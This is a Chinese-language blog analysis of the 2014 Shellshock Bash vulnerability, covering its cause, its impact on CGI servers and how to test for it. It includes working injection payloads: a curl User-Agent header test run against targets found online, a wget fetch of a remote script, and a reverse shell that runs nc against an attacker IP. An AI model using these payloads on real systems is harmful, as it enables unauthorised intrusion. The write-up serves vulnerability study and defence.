Shellshock漏洞回顧與分析測試
0x00 漏洞概述
很多人或許對2014上半年發生的安全問題“心臟流血”(Heartbleed Bug)事件記憶頗深,2014年9月,又出現了另外一個“毀滅級”的漏洞——Bash軟體安全漏洞。這個漏洞由法國GNU/Linux愛好者Stéphane Chazelas所發現。隨後,美國電腦應急響應中心(US-CERT)、紅帽以及多家從事安全的公司於週三(北京時間2014年9月24日)發出警告。
關於這個安全漏洞的細節可參看:CVE-2014-6271 和 CVE-2014-7169。
漏洞概況資訊如下:
漏洞英文名稱 Bash Shellshock
中文命名 破殼(X-CERT)
威脅響應等級 A級
漏洞相關CVE編號 CVE-2014-6271
漏洞發現者 Stéphane Chazelas(法國)
漏洞發現事件 2014年9月中旬
漏洞公佈時間 9月25日
漏洞影響物件 bash 1.14至bash 4.3的Linux/Unix系統
2014年9月,UNIX、Linux系統中廣泛使用的Bash軟體被曝出了一系列、已經存在數十年的漏洞(Bash或Shellshock),在業界引起了非常大的影響。
最初的bug已經修復了,但引發了人們對Bash的解析程式可能產生0day漏洞的關切,隨後又挖掘出了第二個漏洞CVE-2014-7169,這個漏洞也在很快得到了修復。
不少Linux發行版本連夜釋出了修復版本的Bash,在伺服器領域佔有不少份額的大多數FreeBSD 和NetBSD已經預設關閉了自動匯入函式的功能,以應對未來可能出現的漏洞。
在這個漏洞的風波逐漸平息之餘,不少業內人士也在思考,它為何波及如此之廣,影響如此之大。
InfoWorld的專欄作者Andrew C. Oliver在一篇文章中表達了自己看法,他認為CGI技術的普及是個錯誤,正是因為CGI技術的不合理之處,Shellshock才有機可乘。
CGI技術是Web技術剛興起的時候發明的,它是最早的可以建立動態網頁內容的技術之一。它會把一個HTTP請求轉化為一次shell呼叫。
而Shellshock的原理是利用了Bash在匯入環境變數函式時候的漏洞,啟動Bash的時候,它不但會匯入這個函式,而且也會把函式定義後面的命令執行。在有些CGI指令碼的設計中,資料是透過環境變數來傳遞的,這樣就給了資料提供者利用Shellshock漏洞的機會。
0.1 Bash介紹
Bourne Again Shell(簡稱BASH)是在GNU/Linux上最流行的SHELL實現,於1980年誕生,經過了幾十年的進化從一個簡單的終端命令列直譯器演變成了和GNU系統深度整合的多功能介面。
根據維基百科的描述:Bash,Unix shell的一種。1989年釋出第一個正式版本,原先是計劃用在GNU作業系統上,但能執行於大多數類Unix系統的作業系統之上,包括Linux與Mac OS X v10.4都將它作為預設shell。它也被移植到Microsoft Windows上的Cygwin與MinGW,或是可以在MS-DOS上使用的DJGPP專案。在Novell NetWare與Android上也有移植。
0.2 CGI技術與指令碼解析
CGI (Common Gateway Interface),是一種基於瀏覽器的輸入,在Web伺服器上執行程式的方法。
CGI指令碼讓瀏覽器與使用者產生互動,例如,資訊評論,表單選擇,資料庫查詢。
作為網頁設計者,通常建立客戶端的 CGI指令碼,伺服器端的程式用來處理使用者輸入,結果返回給使用者。
後臺處理程式不僅僅可以用PHP、Python、Perl等指令碼來接受請求、解釋執行、響應客戶端,當然還可以用Bash指令碼來解釋執行使用者提交的GET或POST請求。
0.3 Bash漏洞與遠端執行
洞利用一般分為本地利用和遠端執行利用。
該漏洞爆出後,一些研究人員最初認為該漏洞只是本地漏洞,所以無法很好地利用。
隨著研究的深入,研究發現其實它可以進行遠端利用。2014年9月24日Bash被公佈存在遠端程式碼執行漏洞。
Bash漏洞其實是非常經典的“注入式攻擊”,也就是可以向 bash注入一段命令,從bash1.14 到4.3都存在這樣的漏洞。
由於Bash儲存遠端執行漏洞,所以,理論上,可以在HTTP請求中注入一個Bash命令,進行遠端執行,比如:
#!bash
() { :;}; wget http://www.XXX.com/testvul.sh
對於利用Bash指令碼處理使用者請求的網站,攻擊者可以精心偽造資料,透過網路傳到一臺伺服器上,直接或間接觸發一個bash指令碼,這樣就可以遠端執行惡意程式碼。
由於Bash是一個被廣泛整合的軟體,幾乎所有的系統都在執行,從Rapsberry Pis到手機,再到資料中心的伺服器以及大型機等。
由於自動匯入函式的功能至少從Bash 3.0開始就存在了,所以這個bug有可能在大多數系統中存在近20年了。
由於Apache伺服器中使用mod_cgi
(不包括mod_php
或mod_python
)執行指令碼的時候,資料是透過環境變數來傳遞的,這可以算是網際網路領域最古老的一些技術了。
其他一些客戶端也會受到影響——比如Linux的DHCP客戶端——它大量運用Bash指令碼來使修改生效,這也使駭客能透過在DHCP資料包中加入惡意資料來達到攻擊的目的。
鑑於Bash是大多數Linux系統(以及OSX)上預設的shell,這個漏洞就意味著,把有害資料編入環境變數,傳到伺服器端,觸發伺服器執行Bash指令碼,就完成了攻擊(passing an poisoned environment variable through to a server running a CGI script could trivially be compromised
)。
舉個例子,HTTP協議的頭User-Agent通常是透過環境變數HTTP_USER_AGENT
來傳遞的,這意味使用以下命令就可以測試這個漏洞了:
#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgi
對於不傳遞User-Agent
的伺服器來說,常常還有其他受攻擊的可能——比如Cookie
,Referer
或者請求本身。 另外,這個bug不僅僅影響CGI指令碼和Apache——如果其他程式也收到並傳遞了有害的環境變數(比如ssh服務會接收TERM或DISPLAY環境變數),然後這些程式再執行一個Bash指令碼(或透過system()呼叫來執行),同樣的漏洞也會被利用。
和HTTP不同,SSH一般不允許匿名請求——觸發這個漏洞之前必須要登入——但是程式碼託管服務商們卻允許匿名登入(哪怕只登入到一個許可權受限的shell),所以為了防止入侵,GitHub更新了他們的企業級產品,Bitbucket也更新了他們的伺服器。
由於Bash漏洞能夠遠端執行,所以會產生像struts2等漏洞利用一樣的效果,對攻擊者而言,通常就是“拿站或拿伺服器”,再去執行其他操作。
下面引用一張圖,做個簡單的形象說明。
0x01 漏洞原因分析
漏洞資訊最早來源於國外知名漏洞網站exploit-db下的第34765篇漏洞報告,其中出現了一條驗證命令:
#!bash
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
如果在一個含有版本號小於bash 4.3的linux或者unix系統,本地執行以上命令,可能會得到以下輸出:
#!bash
Vulnerable this is a test
其中如果出現第一行vulnerable則說明該系統存在一個由bash程式缺陷導致的任意命令執行漏洞。
Windows Cygwin Terminal本地執行結果如下:
Kali 1.0.9-i386本地執行結果如下:
CVE-2014-6271中的bug修復後,問題馬上就解決了,大多數廠商都及時提供了修復後的Bash版本。面向網際網路的伺服器沒有理由不馬上修復它,因為這個漏洞會使主機完全落入別人的控制(以Apache所使用的使用者身份)中。 但是,大家的目光已經聚焦在這個領域,新的bug被發現了。同時使用Bash的shell重定向功能和函式自動匯入功能,CVE-2014-7169出現了。這回導致的結果是可以隨意讀寫遠端機器上的檔案,使用的手段和上次一樣,只不過這次是利用了shell的重定向符號<或>。
#!bash
env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo
這次解析器先停在=號上(由於(a)=不是一個有效的Bash表示式),但至關重要的是把<號留在瞭解析管道中。接下來的轉義符\會使解析器在重定向命令之間插入一些空格(但無關緊要),最終導致了後面的命令變成了一條重定向命令:
#!bash
>echo data
這是一條有效的Bash命令,語義上它等價於下面這種更常見的形式:
#!bash
date >echo
注意,另外一個重定向符號<在這裡也是有效的,它可以把輸入重定向到檔案。 所以這個bug也被修復了。
當然,有能力設定任何環境變數,可以使攻擊者控制一切東西——修改IFS環境變數(過去被利用過的一個漏洞),甚至修改PATH環境變數,會影響新啟動的shell指令碼的行為,無論如何這些手段都會導致問題。但至少前面提到的SSH和CGI攻擊中,涉及的環境變數要麼是有限幾個(TERM、DISPLAY等),要麼是以某個字首(HTTP_USER_AGENT、HTTP_REFERRER)
開頭的。所以除了字首名所代表的程式外,其他的程式受影響有限。
有些人預計Bash自動匯入函式的功能還存在安全漏洞,擔心未來還會有bug曝出。NetBSD在Bash中預設關閉了自動匯入函式的功能,FreeBSD也這麼做了,轉而以新增選項( --import-functions
)的方式提供這個功能。
1.1 正常執行過程分析
我們先來看一下這個安全問題的症狀。這個問題的發生是因為Bash的一個功能,它允許在Bash的shell中使用環境變數來定義函式。函式的作用是把經常呼叫的程式碼封裝起來,然後在其他地方複用,所有的shell指令碼語言都有這個功能。Bash中函式的定義是這樣的(大多數其他shell也是):
#!bash
function hello {
echo "Hello"
}
hello # 呼叫這個函式
但是,Bash還有一種使用環境變數來定義函式的方法,這是它獨有的。
如果環境變數的值以字元“() {”開頭,那麼這個變數就會被當作是一個匯入函式的定義(Export),這種定義只有在shell啟動的時候才生效。
#!bash
$ export HELLO="() { echo 'Hello'; }"
$ HELLO
-bash: HELLO: command not found
$ bash
$ HELLO
Hello
上述語句在Cygwin Terminal環境下的測試結果如下。
使用下面語句定義後,檢視環境變數,可以發現剛才定義的值
#!bash
export X='() { echo "inside X"; }; echo "outside X";'
下面對Bash獨特的定義方式進行測試,因為這種獨特的方法只會在shell啟動的時候生效,所以大多數用來演示這個漏洞的示例程式碼都只有一行:
#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO
這行程式碼的作用跟下面分步執行的語句,在效果上是一樣的。
env命令代表“先設定下面的環境變數,再執行下面的程式”,並且執行完成後當前的環境變數不受影響。實際上,直接寫成
#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO
也可以。
bash命令指定了-c
選項是為了啟動bash時就執行HELLO函式,這裡必須新起一個bash,因為只有bash啟動的時候才會去解析函式的定義。
正常的函式定義和執行如下
#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO
1.2 異常執行過程分析
透過上述對bash 執行過程分析,可知bash在處理含有函式定義諸如"() { :; }
"的環境變數賦值的程式碼上存在設計缺陷,錯誤地將函式定義後面的字串作為命令執行。
所以真正的利用與env命令無關,只要設法讓系統接受一個含有"[函式定義]+[任意命令]"的環境變數賦值則可觸發" [任意命令] "部分所表示的程式碼執行。
惡意命令被新增在合法環境變數之後,Bash會首先執行惡意命令,異常執行結構圖示如下:
Shellshock command diagram (Symantec)
異常方式,如果注入如下程式碼(需要注意的是此例中函式定義使用的是單引號,函式體內容為空,函式體後有echo語句)。
#!bash
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
上述輸入向環境變數中注入了一段程式碼 echo Bash is vulnerable。
打個比方,本來正常要執行的是“牛A”和“牛C”,結果中間的“牛B”被執行了
Bash漏洞在於函式體外面的程式碼被預設地執行了,執行結果如下所示。
問題出現在bash解析完函式定義,執行函式的時候,它自動匯入函式的解析器越過了函式定義的結尾,接著執行後面的程式碼,並且由於每一個新的bash啟動時都會觸發這個漏洞,相當於任意程式碼都能被執行了。
有漏洞的系統還會把“Bash is vulnerable
”打出來,在修復後的系統中,上面命令的結果應該只列印“Hello”,而不會執行其他的語句。
1.3 原始碼級分析
由於網上已經有相關分析文章,具體請參考如下連結:
- http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0
- http://neilscomputerblog.blogspot.com/2014/09/shellshock-vulnerability-patch-and.html
- http://blog.csdn.net/u011721501/article/details/39558303
- http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/
- http://www.antiy.com/response/CVE-2014-6271.html
- http://www.freebuf.com/articles/web/45520.html
期待更多大神級原始碼深入分析。
0x02 影響範圍分析
對於存在Bash漏洞系統而言,由於它允許未經授權的遠端使用者可以指定Bash環境變數,那麼執行這些服務或應用程式的系統,就存在漏洞被利用的可能。
只要是能透過某種手段為bash傳遞環境變數的程式都受此影響。當然最典型的的就是bash寫的CGI程式了,客戶端透過在請求字串里加入構造的值,就可以輕鬆攻擊執行CGI的伺服器。
目前大多數的網站很少用CGI了,所以問題不算太大。但是有很多的網路裝置,如路由器、交換機等都使用了Perl或者其他語言編寫的CGI程式,只要是底層呼叫了bash,那麼就愛存在風險。
任何已知程式,只要滿足以下兩個條件就可以被用來透過bash漏洞導致任意命令執行:
1、程式在某一時刻使用bash作為指令碼直譯器處理環境變數賦值; 2、環境變數賦值字串的提交取決於使用者輸入。
目前,可能被利用的系統包括:
- 執行CGI指令碼(透過mod_cgi 和 mod_cgid)的Apache HTTP 伺服器;
- 某些DHCP客戶端;
- 使用Bash的各種網路服務;
- 使用 ForceCommand 功能的 OpenSSH 伺服器;
- 使用CGI作為網路介面的基於Linux的路由器;
- 使用Bash的各種嵌入式裝置。
- ……
0x03 漏洞驗證測試
3.1 不同工具測試比較
不同工具測試同一地址。
工具1 利用Crow Strike ShellShock Scanner測試Bash漏洞,該工具可以批次掃描,測試某網站結果如下:
為了分析該工具的測試字元,利用Wireshark抓包,發現該工具主要測試了3個欄位Test、Cookie、Referer,抓包結果如下:
工具2
工具3
3.2 本地測試
本地構造不同的POC,進行Bash漏洞測試,如果我們開啟Cygwin Terminal,使用不同的測試用例,進行測試,在Cygwin Terminal下的測試結果如下:
3.3 遠端測試
選取網上搜尋到的目標,對其進行Bash漏洞測試,使用工具curl。
測試命令如下:
#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://XXX:8080/cgi-bin/XXX.cgi
測試截圖如下:
在http協議中構造Referer
、Cookie
、User-Agent
欄位命令,使用Burpsuit,傳送到存在Bash漏洞的伺服器,會返回3個Vul字元,說明3個欄位傳遞的引數都被伺服器後端指令碼解析處理,測試結果如下:
構造其他Poc,獲取伺服器使用者名稱和密碼。
0x04 漏洞利用測試
在本地搭建有Bash漏洞的伺服器,利用瀏覽器訪問CGI頁面,顯示正常訪問。
用Burpsuit進行攔截,初始時intercept is off
。
用Burpsuit進行攔截,開啟intercept is on
。
修改http協議中的User-Agent欄位為
#!bash
() { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"
傳送http請求後,nc反彈,可以檢視使用者名稱、目錄、系統版本等資訊。
0x05 參考文獻
1) http://www.freebuf.com/vuls/44994.html
2) http://www.freebuf.com/news/44768.html
3) http://www.freebuf.com/news/45436.html
4) http://blog.csdn.net/u011721501/article/details/39558303
5) http://www.srxh1314.com/bash-cgi-bin.html
6) http://www.linuxidc.com/Linux/2014-09/107250.htm
7) http://www.freebuf.com/tools/45311.html
8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability- overview-info/
9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high- risk.html
10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0
11) http://blog.cloudflare.com/inside-shellshock/
12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/
13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock- holes-found
14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx
15) http://www.antiy.com/response/CVE-2014-6271.html
16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Systems.html
17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559
18) http://blog.csdn.net/delphiwcdj/article/details/18048757
19) /papers/?id=3064
20) http://fish.ijinshan.com/cgibincheck/check
21) https://access.redhat.com/articles/1200223
22) http://www.antiy.com/response/CVE-2014-6271.html
23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html
24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
25) http://mashable.com/2014/09/26/what-is-shellshock/
26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9
27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0
28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1
29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring- internet/
30) http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it- insecure
31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock
32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes
33) http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability
34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/
35) http://coolshell.cn/articles/11973.html
36) http://www.infoq.com/cn/news/2014/10/shellshock
37) http://www.infoq.com/news/2014/09/shellshock
38) http://www.freebuf.com/articles/web/45520.html
39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html
40) http://mobile.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod- networks.aspx
41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html
42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/
43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html
44) http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html
45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the- shellshock-bash-vulnerability
46) https://github.com/gry/shellshock-scanner
47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/
48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under- attack
49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect- shellshock-vulnerability
50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html
51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
52) http://milankragujevic.com/projects/shellshock/
53) http://milankragujevic.com/post/64
54) http://breizh-entropy.org/~nameless/random/posts/shellshock_shits_got_real/
55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/
56) https://github.com/gry/shellshock-scanner
57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/
58) http://businessinsights.bitdefender.com/shellshock-bashbug
59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock- vulnerability.html
60) http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html
61) https://shellshocker.net/
62) https://github.com/mubix/shellshocker-pocs
63) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
64) http://www.freebuf.com/articles/system/45390.html
65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559
66) http://it.deepinmind.com/%E5%85%B6%E5%AE%83/2014/09/26/everything-you-need-to-know-about- shellshock.html
67) http://www.securitysift.com/the-search-for-shellshock/
68) http://blog.cloudflare.com/inside-shellshock/
69) http://blog.regehr.org/archives/1187
70) https://github.com/mubix/shellshocker-pocs
71) http://pastebin.com/mG1grQwK
72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/
相關文章
- 詳解ShellShock 漏洞復現原理,內附ShellShock的修復方法2017-05-31
- 回顧專案測試全過程,測試如何回答 “測完了嗎?”2024-03-29
- 回顧 crash log 分析2019-03-18
- 12月第四周安全回顧:雙節期間微軟忙補新漏洞,新Hash將測試2017-11-25微軟
- 效能測試之測試分析與調優2021-11-12
- 在2018年裡關於測試JavaScript的回顧2018-11-14JavaScript
- 網站介面漏洞安全測試 大體階段分析2020-03-07網站
- 網站滲透測試漏洞分析程式碼架構2020-04-15網站架構
- APP測試點分析與總結2020-10-25APP
- Linuxglibc幽靈漏洞測試與修復方法2017-11-12Linux
- [測試分析] for與foreach 執行效率測試結果 (轉)2007-08-16
- 滲透測試之CSRF程式碼漏洞的檢測與加固方案2019-09-06
- 網站漏洞測試 檔案上傳漏洞的安全滲透與修復2019-09-20網站
- 網站安全測試之APP滲透測試漏洞2020-12-04網站APP
- 網站漏洞滲透測試覆盤檢查結果分析2019-09-26網站
- 效能狗(Perfdog)測試與資料分析2020-12-16
- 軟體測試方法的分析與研究2013-06-27
- 35+老測試員生涯回顧,揭秘無力吐槽的自動化真相…2024-11-13
- 滲透測試與漏洞掃描有什麼區別?2024-01-16
- SpringMVC-12-SSM回顧與總結2020-09-17SpringMVCSSM
- struts2 漏洞測試工具2013-11-22
- 滲透測試公司 對於越權漏洞的檢測與修復2019-10-08
- 基礎回顧2013-11-06
- Git指令回顧2024-05-11Git
- 直播回顧 | 根因分析助力AIOps走得更遠!2022-12-30AI
- 網站滲透測試安全檢測漏洞2019-11-24網站
- APP滲透測試基本內容與漏洞掃描介紹2019-10-24APP
- 軟體需求與分析課堂測試十——綜合案例分析2024-03-27
- 2020 年的 PHP 回顧與展望2020-04-04PHP
- 前端面試題 回顧與複習(更新中)2019-10-07前端面試題
- 敏捷軟工 - 提問回顧與個人總結2021-06-29敏捷軟工
- Python異常處理回顧與總結2018-12-21Python
- JavaScript 建立物件與繼承總結和回顧2017-09-19JavaScript物件繼承
- Python回顧與整理1:Python基礎2017-11-26Python
- Linux 基礎回顧 之 程式與空間2015-04-21Linux
- 活動精彩回顧|GopherChina 2019乾貨回顧!2019-05-07Go
- 網站漏洞檢測 滲透測試檢測手法2019-12-11網站
- 區塊鏈app安全防護 滲透測試中發現的越權漏洞分析與修復2020-01-10區塊鏈APP